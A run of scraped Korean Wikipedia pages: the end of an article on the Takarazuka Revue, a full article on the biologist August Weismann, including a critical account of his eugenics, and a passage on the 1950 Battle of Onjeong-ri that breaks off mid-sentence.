대극장이나 도쿄 다카라즈카 극장에서 상연하는 공연이다. 각 그룹이 돌아가면서 공연을 갖는다. 보통은 소속 작가가 각 그룹의 톱스타에 맞춰서 작성한 신작을 상영하나, 해외 뮤지컬 상연이나 과거의 작품을 재연하는 경우도 있다. 2000년 이래로, 하나구미 -> 호시구미 -> 유키구미 -> 소라구미 -> 쓰키구미 -> 하나구미... 순으로 공연을 갖는 것이 정착되었다. 본공연에는 각 그룹의 모든 단원(생도)이 전원출연을 하며, 필요에 따라 전과 그룹에서 몇명이 참가하기도 한다. 한 공연은 30~45일 정도 이루어지며, 원칙으로 다카라즈카 대극장 공연이 이루어진 후에 도쿄 다카라즈카 극장에서 계속해서 공연을 한다. 공연 작품이 대히트를 치는 경우에도 공연기간이 연장되는 경우는 없다. 공연 중 음악은 전속 오케스트라가 담당한다. 각 그룹 별로 본 공연은 1년에 1,2 작품 정도이며, 공연과 공연 사이에는 전국 순회 공연을 갖거나 시어터 드라마시티, 우메다 예술극장, 하카타좌, 주니치 극장, 닛세이극장 등지에서 공연을 갖는다. 본공연이 열리는 기간 중에는 연구과 7년차 이내의 신인들 위주로 편성되는 신인 공연이 다카라즈카 대극장 및 도쿄 다카라극장에서 열린다. 소속 학생[편집] 주요 학생[편집] 전과 마츠모토 유리(다카라즈카 가극단 이사) 토도로키 유우(위와 같음)   톱스타 톱 여역 하나구미 아스미 리오 센나 아야세 츠키구미 타마키 료 마나키 레이카 유키구미 노조미 후토 마아야 키호 호시구미 쿠레나이 유즈루 키사키 아이리 소라구미 마카제 스즈호 호시카제 마도카 주요 졸업생에 대해서는 다카라즈카 가극단 졸업생을 참고 기수별 일관(졸업생 포함)[편집] 1기생 - 2기생 - 3기생 - 4기생 - 5기생 - 6기생 - 7기생 - 8기생 - 9기생 - 10기생 11기생 - 12기생 - 13기생 - 14기생 - 15기생 - 16기생 - 17기생 - 18기생 - 19기생 - 20기생 21기생 - 22기생 - 23기생 - 24기생 - 25기생 - 26기생 - 27기생 - 28기생 - 29기생 - 30기생 31기생 - 32기생 - 33기생 - 34기생 - 35기생 - 36기생 - 37기생 - 38기생 - 39기생 - 40기생 41기생 - 42기생 - 43기생 - 44기생 - 45기생 - 46기생 - 47기생 - 48기생 - 49기생 - 50기생 51기생 - 52기생 - 53기생 - 54기생 - 55기생 - 56기생 - 57기생 - 58기생 - 59기생 - 60기생 61기생 - 62기생 - 63기생 - 64기생 - 65기생 - 66기생 - 67기생 - 68기생 - 69기생 - 70기생 71기생 - 72기생 - 73기생 - 74기생 - 75기생 - 76기생 - 77기생 - 78기생 - 79기생 - 80기생 81기생 - 82기생 - 83기생 - 84기생 - 85기생 - 86기생 - 87기생 - 88기생 - 89기생 - 90기생 91기생 - 92기생 - 93기생 - 94기생 - 95기생 - 96기생 - 97기생 - 98기생 - 99기생 - 100기생 101기생 - 102기생 - 103기생 함께 보기[편집] 다카라즈카 가극단의 패러디 사쿠라 대전 - 주인공들이 평소에 활동하는 '제국화격단'(帝国華撃団 데이코쿠 가게키단[*])은 다카라즈카 가극단과 유사한 점이 있다. 오란고교 호스트부 - 다카라즈카 가극단을 패러디한 부활동 '시라유리회'(통칭 즈카부(ヅカ部)가 등장한다. 다카라즈카 가극단 출신 유명 인사 하토야마 미유키 - 다카라즈카 가극단의 졸업생이자, 전 일본 내각총리대신 하토야마 유키오의 부인. 외부 링크[편집] 위키미디어 공용에 관련된미디어 분류가 있습니다.다카라즈카 가극단 (일본어) 다카라즈카 극장 공식 사이트 (일본어) 한큐 커뮤니케이션즈 vdeh한큐 한신 도호 그룹지주회사 한큐 한신 홀딩스 철도산업 한큐 전철(한큐 전철 고베 본선 한큐 전철 다카라즈카 본선 한큐 전철 교토 본선) 한신 전기 철도 한신 전기 철도 본선 한신 전기 철도 한신 난바 선 기타오사카 급행 전철 고베 전철 보유노세 전철 호쿠신 급행 전철 고베 고속 철도 롯코 마야 철도 버스·택시 사업 한큐 버스 한신 버스 한큐 시골 버스 신테츠 버스 단고 해륙 교통 오사카 공항 교통 한큐 택시 한신 택시 여행·운송 사업 한큐 한신 교통사 홀딩스〔한큐 교통사(한큐 한신 비지니스 여행/트라픽스)/한큐 한신 익스프레스〕 호텔 사업 한큐 한신 호텔(한큐 한신 레스토랑) 부동산 사업 한큐 부동산 한신 부동산 엔터테인먼트·커뮤니케이션 사업 도호 다카라즈카 가극단 주식회사 오에스 코마 스타디움 간사이 TV 방송 한큐 커뮤니케이션 소매 사업 H2O 리테일링 (기업)〔한큐 한신 백화점(한큐 백화점 한신 백화점) 주식회사 한쇼쿠(한큐 오아시스 한큐 패밀리 스토어 한큐 닛쇼 스토어 주식회사 한큐 프레쉬엘)〕 주식회사 한큐 리테일즈(아스나스) 북 퍼스트 그외 사업 한신 타이거스 프로 야구팀 한큐 한신 카드 관련 시설 다카라즈카 대극장 한신 고시엔 구장 우메다 한큐 빌딩 한큐 그랜드 빌딩 한큐 차야마치 빌딩 하비스 오사카 우메다 한신 제2 빌딩 관련 항목 대규모 사철(준 대기업 사철) 센슈 이케다 홀딩스 FNN FNS 스룻토KANSAI PiTaPa Hanica 긴키 닛폰 철도 오사카 시 교통국(오사카 시영 지하철) 산요 전기 철도 게이한 전기 철도 한큐전철 신포선 한큐 마을(우메다) 한큐·한신 경영 통합 한큐 전철 (소설) 전거 통제 WorldCat VIAF: 154786637 LCCN: n82010728 GND: 7556522-5 SUDOC: 098137778 BNF: cb16527444p (데이터) BIBSYS: 12066282 뮤직브레인즈: 99397ea0-24c2-47e0-9daa-6f79871c15a9 NLA: 35999531 NDL: 00281600 CiNii: DA00955524 원본 주소 "https://ko.wikipedia.org/w/index.php?title=다카라즈카_가극단&oldid=22362302" 분류: 다카라즈카 가극단일본의 연극한큐 한신 홀딩스한큐 한신 도호 그룹다카라즈카시기쿠치 간상 수상자숨은 분류: 일본어 표기를 포함한 문서VIAF 식별자를 포함한 위키백과 문서LCCN 식별자를 포함한 위키백과 문서GND 식별자를 포함한 위키백과 문서BNF 식별자를 포함한 위키백과 문서BIBSYS 식별자를 포함한 위키백과 문서MusicBrainz 식별자를 포함한 위키백과 문서NLA 식별자를 포함한 위키백과 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 DeutschEnglishEspañolFrançaisMagyarBahasa IndonesiaItaliano日本語NederlandsPolskiPortuguês中文粵語 링크 편집 이 문서는 2018년 9월 12일 (수) 17:04에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
아우구스트 바이스만 - 위키백과, 우리 모두의 백과사전 아우구스트 바이스만 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 아우구스트 바이스만 노년의 바이스만출생 1834년 1월 17일(1834-01-17)사망 1914년 11월 5일 (80세) 직업 진화생물학자 아우구스트 바이스만(Friedrich Leopold August Weismann, 1834년 1월 17일 - 1914년 11월 5일)은 독일의 진화생물학자이다.[1] 에른스트 마이어는 바이스만을 찰스 다윈에 이어 19세기의 주요 진화론 학자로 꼽았다.[2] 프라이부르크 대학교의 동물학 석좌 교수를 역임하였다. 바이스만의 중요한 업적은 배우자의 생식세포 사이에서 일어나는 수정을 통해서만 유전형질이 유전된다는 점을 증명한 것이다.[3] 바이스만의 이러한 증명은 그레고르 멘델의 유전법칙을 다시 확인한 것이었다. 목차 1 생애 2 연구 2.1 용불용설 비판 2.2 생식질 연속설 2.3 창조론과의 논쟁 2.4 우생학 3 각주 생애[편집] 바이스만은 1834년 1월 17일 프랑크푸르트에서 태어났다. 아버지는 고등학교 교사였던 요한 콘라드 바이스만이었고 어머니 엘리제는 지방의회 의원과 시장을 역임한 폰 스타데의 딸이었다. 바이스만은 19세기의 전형적인 생물학을 공부하였고 야콥 베케르에게서 회화를 배우기도 하였다.[1] 그는 1863년 비교해부학과 동물학 강사가 되었고 1912년 프라이부르크 대학교의 동물학 석좌 교수로 임명되었다. 연구[편집] 진화 이론의 역사 문서를 참고하십시오. 용불용설 비판[편집] 1889년 바이스만은 장바티스트 라마르크가 제안한 이후 진화의 일반적인 가설로 받아들여지고 있던 용불용설을 부정하는 실험을 진행하였다. 그는 여러 대에 걸쳐서 쥐의 꼬리를 잘라낸다 하더라도 자식 세대의 꼬리가 짧아지지 않는다는 것을 실험적으로 입증하여 용불용설을 부정하였다.[4] 생식질 연속설[편집] 바이스만은 진화의 주된 원인을 유성생식에 의한 대립형질의 다양성에서 찾았다. 그는 성별이 구분되는 대부분의 생물에서 정자와 난자가 태어날때부터 몸의 다른 부분과 분리되어 존재한다는 점에 착안하여 다음과 같이 주장하였다.[5] “ 나는 배아의 일부 물질인 생식질이 난자가 개체로 발생하는 과정에서 변하지 않고 그대로 있으며 이 생식질을 바탕으로 새로운 생식세포가 만들어지는 것이 유전의 근거라고 본다. 그러므로 생식질은 한 세대에서 다음 세대로 내려가는 영속성을 지닌다. ”   — 바이스만 1889년 바이스만의 이러한 진화 이론은 생식질 연속설이라 불렸다. 바이스만은 획득형질의 유전을 부정하면서 오직 생식질과 자연선택만이 진화에 영향을 미친다고 보았다.[6] 바이스만은 자연에는 여러 종류의 무성생식과 같이 다양한 생식 방법이 있기 때문에[7] 유성생식은 생물의 재생산 자체보다는 자연선택의 여러 다양성이 가능하도록 하는 원천이라고 보았다. 즉 성은 진화를 가속화 시킨다는 것이다. 그의 생식질 연속론은 오랫동안 진화 이론의 한 부분으로 받아들여졌으나 진화 이론의 발달 과정에서 반론에 부딪혔다. 바이스만의 이론은 진화를 단순한 형질을 갖는 종에서 복잡한 형질을 갖는 종으로 변화하는 진보의 개념으로 파악하고 있으나 진화 자체는 복잡한 종이 단순한 종으로 변화하는 경우까지도 포함하는 방향성이 없는 변화라는 점이 증명된 것이다.[8] 한편, 현대 진화 이론에서는 진화의 기본적인 원인을 유전자의 돌연변이에 의한 대립형질의 발현으로 파악한다.[9] 창조론과의 논쟁[편집] 바이스만은 흔적 기관에 대한 창조론의 설명을 공격하였다. 19세기의 창조론자들은 흔적 기관의 존재이유를 생물체 형태를 일관성 있게 창조한 조물주의 상칭성 때문이라거나 자연의 계획을 완성하기 위한 신의 뜻때문이라고 주장하였다. 바이스만은 이에 대해 왕뱀은 골반과 뒷다리뼈가 흔적기관으로 남아있는데 비해 다른 뱀에게서는 흔적조차 남아 있지 않은 사례를 들어 상칭성이라는 주장을 비판하였다. 그는 "창조론자의 설명처럼 어떤 천문학자가 지구가 태양을 공전하는 것과 상칭성을 유지하기 위하여 달이 지구를 공전하고 있다고 설명한다면 그는 학계의 비웃음거리가 될 것"이라고 하였다.[10] 우생학[편집] 우생학 문서를 참고하십시오. 바이스만은 인종의 차별을 자연선택에 의한 적자생존으로 파악하는 사회진화론을 진화 이론의 일부로 받아들였다. 바이스만은 "개인은 무의미하며 종이 전부이다", "종에 봉사하는 한 개인의 삶은 가치가 있다"와 같은 발언을 하였다. 그의 진화 이론 역시 이러한 인종 차별을 과학적으로 뒷받침하려는 시도가 담겨있었다. 그는 현대 의학의 진보로 인해 안경을 착용하는 것이 오히려 불리한 유전형질을 온존케하는 반 진화적 방향이라고 보았다.(위 사진을 보면 알겠지만 본인은 안경을 착용하였다.) 바이스만은 1905년에 창립한 독일인종협회에 창립회원으로 참여하였다.[11] 그의 이러한 인종 차별적 주장과 우생학은 유럽과 미국의 많은 학자들에게 영향을 주었다. 바이스만의 영향으로 영국의 로널드 피셔와 같은 집단유전학 학자나 스스로를 진보주의자로 생각하였던 미국의 사회학자 에드워드 A 로스와 같은 학자들이 우생학을 지지하였다.[4] 오늘날 사회진화론과 우생학은 진화와 아무런 관련이 없는 사이비 과학으로 평가받는다. 스티븐 제이 굴드는 그의 저서 《인간에 대한 오해》에서 사회진화론과 우생학이 갖는 비과학성을 비판하였다.[12] 각주[편집] ↑ 가 나 August Weismann at www.nndb.com ↑ Mayr, Ernst 1982. The growth of biological thought. Harvard. p698 ↑ Essays upon heredity (1889) Oxford Clarendon Press - Full online text ↑ 가 나 루이스 메넌드, 정주연 역, 메타피지컬 클럽, 민음사, 2006, ISBN 89-374-2538-6, 493쪽 ↑ 매트 리들리, 김윤택 역, The Red Queen, 김영사, 2006, ISBN 89-349-2357-1, 32쪽 ↑ 김주필 외, 생명과학, 동국대학교출판부, 2003, ISBN 89-7801-118-7, 37쪽 ↑ 매트 리들리, 김윤택 역, The Red Queen, 김영사, 2006, ISBN 89-349-2357-1, 58쪽 ↑ 매트 리들리, 김윤택 역, The Red Queen, 김영사, 2006, ISBN 89-349-2357-1, 63-64쪽 ↑ Draghi J, Turner P (2006). "DNA secretion and gene-level selection in bacteria". Microbiology (Reading, Engl.) 152 (Pt 9): 2683–8. PMID 16946263. ↑ 찰스 다윈, 박동현 역, 종의 기원 2, 신원문화사, 2006, ISBN 89-359-1343-X, 403쪽 ↑ 요아힘 바우어, 이미옥 역, 인간을 인간이게 하는 원칙, 에코리브르, 2007, ISBN 89-90048-88-5, 92쪽 ↑ 스티븐 제이 굴드, 김동광 역, 인간에 대한 오해, 사회평론, 2003, ISBN 89-5602-352-2 전거 통제 WorldCat VIAF: 32059588 LCCN: n85243792 ISNI: 0000 0001 0884 9736 GND: 118766406 SUDOC: 031671276 BNF: cb122842092 (데이터) MGP: 191303 NLA: 35598112 NDL: 00769033 NKC: nlk20000084951 Botanist: Weism. 원본 주소 "https://ko.wikipedia.org/w/index.php?title=아우구스트_바이스만&oldid=24012115" 분류: 1834년 태어남1914년 죽음진화생물학자독일의 생물학자프랑크푸르트 출신독일의 동물학자독일의 유전학자왕립학회 외국인 회원숨은 분류: PMID 매직 링크를 사용하는 문서VIAF 식별자를 포함한 위키백과 문서LCCN 식별자를 포함한 위키백과 문서ISNI 식별자를 포함한 위키백과 문서GND 식별자를 포함한 위키백과 문서BNF 식별자를 포함한 위키백과 문서NLA 식별자를 포함한 위키백과 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용위키생물종 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 العربيةتۆرکجهБеларускаяCatalàČeštinaDeutschΕλληνικάEnglishEspañolEestiEuskaraفارسیSuomiFrançaisGalegoעבריתMagyarՀայերենBahasa IndonesiaIdoItaliano日本語ҚазақшаLatviešuമലയാളംNederlandsNorskPolskiPortuguêsРусскийसंस्कृतम्Simple EnglishSvenskaTürkçeУкраїнськаOʻzbekcha/ўзбекча中文 링크 편집 이 문서는 2019년 4월 11일 (목) 18:43에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
온정리 전투 - 위키백과, 우리 모두의 백과사전 온정리 전투 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 온정리 전투한국전쟁의 일부1950년 10월 25일 ~ 11월 1일까지의 중공군 개입 지도날짜1950년 10월 24일 ~ 10월 30일장소평안북도 온정리 (지금의 운산군)결과 중공군의 승리교전국 대한민국 중화인민공화국지휘관 유재흥 제2군단장 소장 김종오 제6사단장 준장 함병선 제2연대장 대령 석순천 제1대대장 소령 이성훈 제2대대장 대리 대위 송대후 제3대대장 소령 임부택 제7연대장 대령 김용배 제1대대장 중령 김종수 제2대대장 중령 인성관 제3대대장 중령 박광혁 제19연대장 대령 김준교 제1대대장 소령 김욱전 제2대대장 중령 박철 제3대대장 소령 김성 포병 제16대대장 소령 펑더화이 한선초 온옥성 제40군장 등웨 제118사단장 서국부 제119사단장 나춘생 제120사단장병력 약 1만 명 약 4만 명 온정리 전투(溫井里戰鬪)는 한국 전쟁 중기 북한 동부전선에서 국군의 제일 선봉으로 진격하던 김종오 준장이 이끄는 제6사단이 한중 국경선까지 밀고 올라갔다가 비밀리에 압록강을 건넌 중공군에 패한 전투이자, 한국전쟁에서 대한민국 국군이 중공군과 첫번째로 치른 전투이다. 절대적인 수적 열세로 치열한 공방전을 펼쳤던 국군은 온정리를 방어하기 위해 치열한 접전을 펼쳤으나 수적 열세와 다른 전선의 상황으로 인하여 철수하지 않으면 안되는 상황에 처하게 되었다.[1] 온정리는 광복 당시 행정구역상으로는 운산군 위연면이었으며, 온정온천이 있었기 때문에 온정리로 불렸다. 북한 행정구역상으로 운산읍이 위치해 있다. 목차 1 배경 1.1 작전계획 2 전투 과정 2.1 10월 24일 2.2 10월 25일 2.3 10월 26일 2.4 10월 27일 2.5 10월 28일 2.6 10월 29일 2.7 10월 30일 3 결과 및 영향 4 각주 배경[편집] 중공군의 한국 전쟁 개입 문제가 국내외적으로 주시되고 있던 1950년 10월 미경에 유재흥 소장이 이끄는 제2군단 예하의 김종오 준장이 이끄는 제6사단은 최선봉에선 진격사단으로서 덕천-구장동 진격 전투에서 승리한 다음 더욱 박차를 가하여 일선연대로 하여금 한만국경에 까지 북진을 계속토록 하고 사단은 10월 24일 13:00에 희천에 이르렀다. 한편 지휘체제가 마비되고 재편성의 시간적 여유를 얻지 못한 전구내의 북한군은 패잔혼성부대(제1사단, 제6사단, 제42사단 등)로서 극도로 사기가 저하되고 대부분의 전투력이 상실되어 구명회생하기에 급급하였으며 특히 오백용 소장이 이끄는 북한군 제8사단의 잔여 혼성부대는 연대 규모로서 초산 전투에서 최후의 저항을 기도하였으나 김용배 중령이 이끄는 제7연대 1대대의 과감한 진격으로 궤멸 분산됨으로써 드디어 선봉연대인 임부택 대령이 이끄는 제7연대는 10월 26일 14시 15분에 감회어린 국경에 다다랐다. 그러나 비밀리에 압록강을 건넌 중공군이 동림산(1165고지) 일대에서 불의에 그 마각을 드러내고 사단의 전진축선 상에 나타남으로써 전선은 일조에 그 공방양상을 달리하게 되었다. 작전계획[편집] 제2군단 및 제6사단의 작전계획에 따라 10월 24일 온정리를 점령한 함병선 대령이 이끄는 제2연대는 북한군 잔당에 시간적 여유를 주지 않고 신속히 진격하여 압록강 남안의 벽동까지 진출할 계획으로 예하의 송대후 소령이 이끄는 제3대대를 기동대대로서 화력에 중점을 두어 선두에서 차량행군으로 조속히 진격토록 하고 석순천 소령이 이끄는 제1대대와 이성훈 대리 대위가 이끄는 제2대대는 도보로서 잔적을 격멸하면서 후속토록 하여 북진을 계속하려 하였다. 그러나 불의에 중공군과 장동 부근(온정 북방 8km)에서 접적하게 되어 치열한 교전을 전개한 끝에 병력의 상대적인 부족과 지형의 제약으로 인하여 할 수 없이 그 주력이 다시 온정리로 이동하게 되었을 때 제6사단장 김종오 준장은 요지 다음과 같은 명령을 하달하였다. 작전명령 『① 사단은 남림산 일대에 출몰한 적을 격멸한 다음 이미 계획된 임무를 수행하려 한다. ②제2연대는 온정리를 확보하여 방어에 임한 후 명에 따라 진격할 수 있도록 준비하라. ③제19연대는 현위치에서 부대를 신속히 이동하여 풍중리 양강동-501고지(YE 505 554)를 점령한 다음 계속 공격할 준비를 하라. 제6사단장 준장 김종오 이상과 같은 명령을 받은 제2연대는 온정리에서 계속 병력을 수습하여 방어에 임하였으며 제19연대는 급히 출동하여 명시된 지점으로 병력을 이동하고 북한군을 격멸코자 하였으나 각 대대는 계획된 작전에 성공하지 못한 채로 오히려 온정리를 북한군의 수중에 맡기게 되자 제2연대는 즉시 태평으로 이동하여 재편성 한 다음 반격을 가하려 하다가 군단의 청천강선 방어 계획에 따라 개천으로 이동하였으며 제19연대는 최후까지 온정리를 고수하려 하였으나 역시 군단의 계획에 따라 개천으로 이동하였다. 전투 과정[편집] 10월 24일[편집] 제6사단 2연대는 함병선 대령이 지휘하여 이날 08:00에 구장동을 출발하였는데 제1대대를 선두로 하여 제3대대-제2대대의 순으로 태평을 경유하여 온정리로 향하였다. 선두의 제1대대가 이날 18:00에 온정리부근에 다다랐을 때 그곳 동북방 6km 지점인 559고지 일대에서 북한군 2개 중대의 패잔병으로부터 사격을 받고 즉시 진격하여 이를 격퇴한 다음 19:40에 온정리로 돌입하여 자체경계를 하면서 숙영하였으며 제3대대는 이보다 먼저 19:00에 온정리에 돌입하여 북한군의 잔당을 격퇴하고 내무서를 급격한 끝에 각종 서류를 노획하였다. 이때 국군의 진출 상황을 알지 못한 북한군의 유선망을 도청함으로써 비로소 중공군 출현에 대한 첩보를 얻게 되었으며 대대는 곧 이를 보고하는 한편 온정리 후사면의 326고지 일대를 점령하고 경계에 임하였다. 10월 25일[편집] 제2연대는 전날 전 연대가 온정리에 집결하여 숙영을 하고, 이날 아침에 전열을 갖추어 출동준비를 한 다음, 이성훈 대위가 지휘하는 제2대대를 선두로 09:00에 온정리를 출발하여 우선 북진으로 향하도록 하였으며, 제1대대는 제2대대의 뒤를 이어 도보로서 11:00에 온정리를 출발하였고 제3대대는 야포 및 대전차포로 증강한 기동대대로서 차량화하여 11:00에 출발하게 되었다. 이리하여 12:00에는 기동성 있는 제3대대가 선두가 되어 온정리 북방 약 7km 지점인 장동 부근에 진출하였고 제 2대대는 그 뒤를 따라 490고지 하록인 중흥동에 다다랐으며 후미인 제1대대의 주력은 온정북방 약 3km 지점인 개활지대에 뻗쳐있는 도로를 통과하고 있었다. 이때에 중공군은 지형의 이점을 최대한으로 이용하여 미리 병력을 은밀히 배치하여 놓고 잠복대기토록 하다가 제2연대의 주력이 12:00에 이 지점을 통과하게 되자 일제히 화력을 집중하면서 포위 공격을 가하게 되었다. 즉 연대 정면의 사단 규모의 병력으로 추산되는 중공군은 동림산(1165고지)를 배후로 도로변의 대소능선 상에 그 주력을 매복시켰으며 온정과 북진 사이를 흐르는 구룡강을 건너 도리산(841고지) 일대의 주요 거점에 연대 규모의 병력을 매복시켰다가 좌우 동시에 기습전법을 감행하게 된 것이다. 이때 제6사단의 2연대장인 함병선 대령은 이 당면의 추로를 격멸하는 즉시로 계속 진출하기 위하여 각 대대로 하여금 정신감투토록 격려질타 하였으나, 시체의 언덕을 만들면서도 계속되는 중공군의 반복공격과 유리한 지형을 이용한 중공군의 사면포위로 전황은 시시각각으로 불리하여 지고 있었다. 이와 같이 모든 전황이 급변하게 되자 사단에서는 제2연대로 하여금 온정리에서 계속 진지를 고수토록 하고 예비대인 박광혁 대령이 이끄는 제19연대를 급거 부접토록 배치하였다. 10월 26일[편집] 제2연대의 1대대는 전날에 이어 온정리에서 철야로 고수방어에 임하고 있었으며 제3대대는 온정중학교에서 계속 병력을 집결하는 동시에, 일부 집결된 병력과 장비를 연대 직활대와 합동으로 온정리의 후사면에 있는 157고지로 이동시켜 사주방어에 임하였으나 중공군은 우세한 병력을 믿고 그들의 상투수단인 우회와 포위전법을 감행하기 위하여 이날 초경부터 구룡천을 잠도한 다음 온정 동남방 약 4km 지점인 535고지의 좌전방으로 이동시켜 온정리를 사면으로 포위하였다가 이날 04:00부터 일시에 함성과 총포성으로 기세당당하게 공격하기 시작하였다. 1:5의 열세와 우세의 정면대결로 피아간에 치열한 교전을 치룬 끝에 157고지의 국군 진지일각이 무너지게 되고 계속하여 온정중학교가 기습을 당하자 때마침 집결 중이던 제3대대가 이 광란 속에 휘말려 들어가 암흑 속에서 혼란상태를 이루게 되었으며 중공군의 후속병력은 이틈을 타서 사면으로 온정리를 침공하기 시작하였다. 이와 같은 상황 속에서도 제 1대대의 모든 장병들은 총검과 단도로서 육박전을 전개하며 끝까지 결사분투 하였으나 중과부적으로 일부병력이 분산상태에 빠지게 되자 부득이 적의 추격을 저지하면서 연대의 주력 제1대대 및 연대본부는 내평의 향교동 방면으로 철수하였으며 제3대대의 일부 병력은 희천 방면으로 이동하였다. 이와 동시에 490고지에서 철야 방어하고 있던 제2대대는 연대의 주력이 태평으로 이동함으로 말미암아 중공군의 포위에 고립되어 사면의 중공군으로부터 압박을 받아 위험한 상태에 놓이게 되자 05:00에 진지를 돌파분단하고 구룡천을 건너 운산 방면으로 철수하게 되었다. 10월 27일[편집] 제2연대는 태평으로 이동한 다음 제 1대대를 사주경계토록 하는 한편 전날 희천 방면으로 이동한 제3대대를 신속히 태평으로 집결토록 배치하였다. 연대장 함병선 대령의 명을 받은 제3대대는 희천에서 병력을 수습하는 즉시로 태평으로 하여 진격하다가 묘향산에서 노영을 하였으며, 제2대대는 서쪽으로 30여km 떨어진 운산부근의 용전리에 18:00에 도착하여 잔여 병력을 집결시키고 있었다. 한편 제19연대는 김준교 소령이 이끄는 제1대대를 양강동까지 진출시켜 제7연대의 배후로 침습하려는 중공군을 저지하였으며 김욱전 소령이 이끄는 제2대대는 07:00에 풍중리 일대를 점령하여 중공군의 후속부대를 억류견제 하였고 박철 소령이 이끄는 제3대대는 07:30에 접적한 중공군을 격파하고 501고지에 이르렀으나 19:00에는 1개 대대 규모의 중공군이 다시 침공하였으므로 치열한 교전 끝에 이를 진전에서 격퇴하고 계속 고수작전에 임하였다. 10월 28일[편집] 제2연대는 태평에서 계속하여 분산병력을 집결시키고 있었으며, 묘향산에서 06:00에 출발한 제3대대의 주력이 12:00에 태평에 도착하게 되자 제 1대대와 제 3대대의 재편성을 끝마치고 사주경계에 임하였으며 제2대대는 이날 13:00에 용문을 출발하여 원리를 향해 기동하고 있었다. 한편 제19연대는 온정리를 다시 탈환하기 위하여 제1대대를 양강동으로부터 동림산록의 용연동으로 진출시켜 제 2대대와 함께 협공할 준비를 갖추도록 하였으며, 제2대대는 계속 풍중리에서 방어에 임하고 있을 때 18:00에 내습한 약 1개 중대 규모의 중공군을 격퇴하고 제1대대와 함께 온정리로 진격할 준비를 갖추고 있었다. 이때 제3대대는 계속 501고지에서 중공군의 진출을 저지하고 있었으며 온정리를 확보한 중공군은 병력을 증강하여 희천을 침공할 기도 하에 동진을 재촉하며 이날 18:30에는 1개 대대 규모의 병력으로 상투적인 야간침습을 감행하여 왔다. 이때 제3대대는 화력을 집중하여 결전을 강요한 끝에 일단 이를 저지 격멸하는데 성공 하였으나 중공군은 계속 병력을 증강 투입하여 완강히 공격을 계속하는 한편 대대를 포위 하려고 전력을 집중하고 있었다. 10월 29일[편집] 제2연대는 전방의 제19연대 상황이 불리하여 전면적으로 위협을 받게 되자 재편성된 제1대대와 제3대대의 병력을 태평남방 3km 지점의 346고지 부근으로 이동하고 방어진을 형성하였으나 18:00에 사단으로부터 『구장동으로 집결하라』는 긴급명령을 받고 이동하기 시작 하였으며 제 2대대는 03:00에 원리에 도착하여 휴식을 한 다음 13:00에 개천으로 향하였다. 한편 제19연대는 제2대대가 02:00에 불의의 기습을 받아 혼란 상태에 빠지자 김준교 소령이 지휘하는 제1대대를 직동으로 급히 이동케 하여 중공군의 측후방으로부터 지원공격토록 하였다. 또 제1대대가 직동에 도착하여 06:00부터 공격을 시작하게 되자 동림산록의 405고지 일대에서 1개 대대 규모의 적이 완강히 저항하므로 제2중대를 정면에서 견제토록 하는 한편 제1중대로서 온정리로 통하는 도로 양측에 중공군을 추격한 다음 제 2대대를 지원하였으며 제3중대는 제4중대의 지원 하에 장동 뒷산의 중공군을 공격토록 하였으나 중공군은 완강히 저항할 뿐만 아니라 계속 증원하여 11:00에는 인해전술을 감행 하기에 이르렀다. 이로써 쌍방간에 치열한 혈전이 전개되었으나 중공군은 독전대의 총부리 앞에 몰려 주문을 읽으면서 광란하므로 제1대대 마저 드디어 분전상태에 빠지게 되었다. 10월 30일[편집] 이날 제2연대는 전연대가 개천에 도착하여 제1대대와 제2대대는 부대를 재정비 하였으며 제3대대는 군단명령에 따라 개천의 경비에 임하였다. 한편 제19연대는 제3대대가 온정리 일대에서 병력을 수습하여 사주경계를 실시하고 있다가 명에 의거 유상동을 경유하여 개천으로 이동하였고 제1대대 및 제2대대의 분산병력도 적진을 돌파하고 속속 개천에 도착되고 있었다. 결과 및 영향[편집] 10월 24일부터 10월 30일까지 7일간에 걸친 초산 및 온정리 부근에서 벌어진 전투로 제6사단은 약 4:1의 대병력과 불의에 대치하게 되어 선전감투를 하였으나 급작스럽게 침공한 중공군의 인해전술로 인하여 민족의 숙원인 통일을 목전에 두고 국경에서 물러서야 하는 쓰라림을 겪었고 특히 제7연대는 부연대장 최영수 중령, 제2대대장 김종수 중령, 제3대대장 조한섭 소령이 포로가 되었으며 중대장 12명 중 5명이 전사했다. 10월 25일 반격전을 개시한 중공군은 10월 26일 온정리를 탈환하고 제7연대가 초산 및 고장에서 물러서자 계속하여 501고지에서 제19연대 3대대의 방어진을 돌파하여 희천으로 향하는 동시에 그 주력은 병요지지 상의 요충인 청천강선으로 남진을 계속하였다. 즉 중공군 제40군의 주력은 온정리와 태평을 침공한 다음 우익 제8사단의 정면으로 침입한 중공군 제38군과 희천에서 합류하여, 국군의 